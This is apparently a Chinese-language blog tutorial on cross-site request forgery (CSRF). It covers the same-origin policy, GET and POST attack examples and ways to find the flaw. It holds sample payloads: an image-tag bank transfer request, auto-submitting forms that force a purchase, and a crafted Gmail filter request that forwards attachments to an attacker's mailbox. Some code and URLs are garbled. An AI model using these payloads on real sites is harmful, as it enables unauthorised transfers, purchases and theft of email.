0x01漏洞概述
黑客利用已经登录的用户,诱使其访问或者登录某个早已构造好的恶意链接或者页面,然后再用户毫不知情的情况下,以用户的名义完成了非用户本意的非法操作。
这种攻击我们也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用行为。
与XSS攻击相比,CSRF攻击往往不大流行(因此对其防范的资源也相当稀少)和难以防范。
浏览器同源策略
1995年,同源策略由Netscape公司引入浏览器。目前,所有浏览器都实行这个策略。最初,他的含义是指:
A网页设置的Cookie,B网页不能打开,除非这两个网页“同源”。所谓同源指的是“三个相同”
协议相同
域名相同
端口相同
同源策略目的
Cookie包含隐私(比如存款总额),这些信息就会泄露。更可怕的是,COokie往往用来保存用户的登录状态,如果用户没有退出登录,其他网站就可以冒充用户。
场景:A网站是一家银行,用户登录以后,又去浏览其他网站,如果其他网站可以读取A网站的Cookie,会发生什么?
为了保证用户信息的安全,防止恶意的网站窃取数据。
限制范围
共有三种行为收到限制:
cookie、LocaIStorage和lndexDB无法读取
DOm无法获得
AJAX请求不能发送
1.当前域名或者父域名下的COokie
2.当前路径或父路径下的Cookie
0x01漏洞概述
1.GET类型的CSRF
仅仅须要一个HTTP请求。就能够构造一次简单的CSRF。
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
所以你的浏览器会带上你的银行站点A的Cookie发出Get请求,去获取资源以GET的方式请求第三方资源(这里的第三方就是指银行站点了
原本这是:
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
2. POST类型的CSRF
<form action=" / register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
http: //host/register?username=test&password=passwd
<form action="http: / / www . a.com/register" id="register" method="post" ><input type=text name="username" value=""/>
<input type=password name="password" value=""/><input type=submit name="submit" value="submit"/></ form>
<script>
var f = document.getElementById ( "register");
f.inputs [0].value = "test";
f.inputs [1].value = "passwd" ;
f.submit ();
</script>
http: //www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewtljmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinboxmailinator.com&cfl_from&cfl_toucf1_subjicf1_has&cfl_hasnotscf1_attach=truestfi&S=z&irf=on&nvp bu_cftb=Create%20Filter
由于浏览器中已经存在Gmail的临时Cookie,所以用户在iframe中对Gmail发起的这次请求会成功―—邮箱的Filter中会新创建一条规则,将所有带附件的邮件都转发到攻击者的邮箱中。
恶意站点通过CSRF在用户的Gmail中建立一条规则。
如果上述例子看得还是有点懵逼,那再举一个例子:
在普通用户的眼中,点击网页->打开试看视频->购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常但又不正常的,当然不正常的情况下,是在开发者安全意识不足所造成的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。
/coures/user/handler666buy.php</font>
<form action=/coures/user/handler/666/buy method=POST>
<input type="text" name="xx" value="xx" />
</form>
<script> document.forms[0].submit(); </script>
当用户访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作,自动购买了id为666的视频,从而导致受害者余额扣除。
0x03CSRF漏洞挖掘
1、最简单的方法就是抓取一个正常请求的数据包,如果没有Referer字段和token,那么极有可能存在CSRF漏洞。
2、如果有Referer字段,但是去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
3、随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:
使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。
如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
0x04原理总结
一个CSRF漏洞攻击的实现,其需要由三个部分来构成
有一个漏洞存在(无需验证、任意修改后台数据、新增请求);
伪装数据操作请求的恶意链接或者页面;
诱使用户主动访问或登录恶意链接,触发非法操作;
第一部分
漏洞的存在
关键字:跨站请求漏洞
如果需要CSRF攻击能够成功,首先就需要目标站点或系统存在一个可以进行数据修改或者新增操作,且此操作被提交后台后的过程中,且未提供任何身份识别或校验的参数。后台只要收到请求,就立即下发数据修改或新增的操作;
以上漏洞情况的存在,出现比较多的场景有用户密码的修改、购物地址的修改或后台管理账户的新增等等操作过程中。
第二部分
漏洞利用的伪装
关键字:伪装请求
CSRF漏洞存在 了,如果需要真正的被利用,还需要对“修改或新增”数据操作请求的伪装,此时恶意攻击者只要将伪装好的“数据修改或新增”的请求发送给被攻击者,或者通过社工的方式诱使被攻击者在其cookie还生效的情况下点击了此请求链接,即可触发CSRF漏洞,成功修改或新增当前用户的数据信息,如修改当前用户的密码,又或者是当前用户为后台管理员,触发漏洞后新增了一个后台管理员。
第三部分
用户非本意的操作
关键字:非本意操作
当前用户在不知情的情况下,访问了黑客恶意构造的页面或在链接,即在非本意的情况下完成黑客想完成的“非法操作”,实现了对当前用户个人信息的恶意操作。
小结
构造一个恶意链接或者html页面
CSRF漏洞的目的:利用已存在的漏洞构造了一个“恶意链接”或“HTML”页面,然后诱使用户点击触发此漏洞
目标站点存在一个漏洞(CSRF),攻击者利用此类漏洞伪装了 一个链接或者html页面,诱使被攻击者在登录的情况下(即当前cookie有效的情况下)点击了此伪装请求,随后在用户不知情的情况下完成了对当前用户数据的修改或者新增操作,而被修改的信息可能是用户的密码、关键信息又或者新增后台管理员等。
0x05知识星球
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论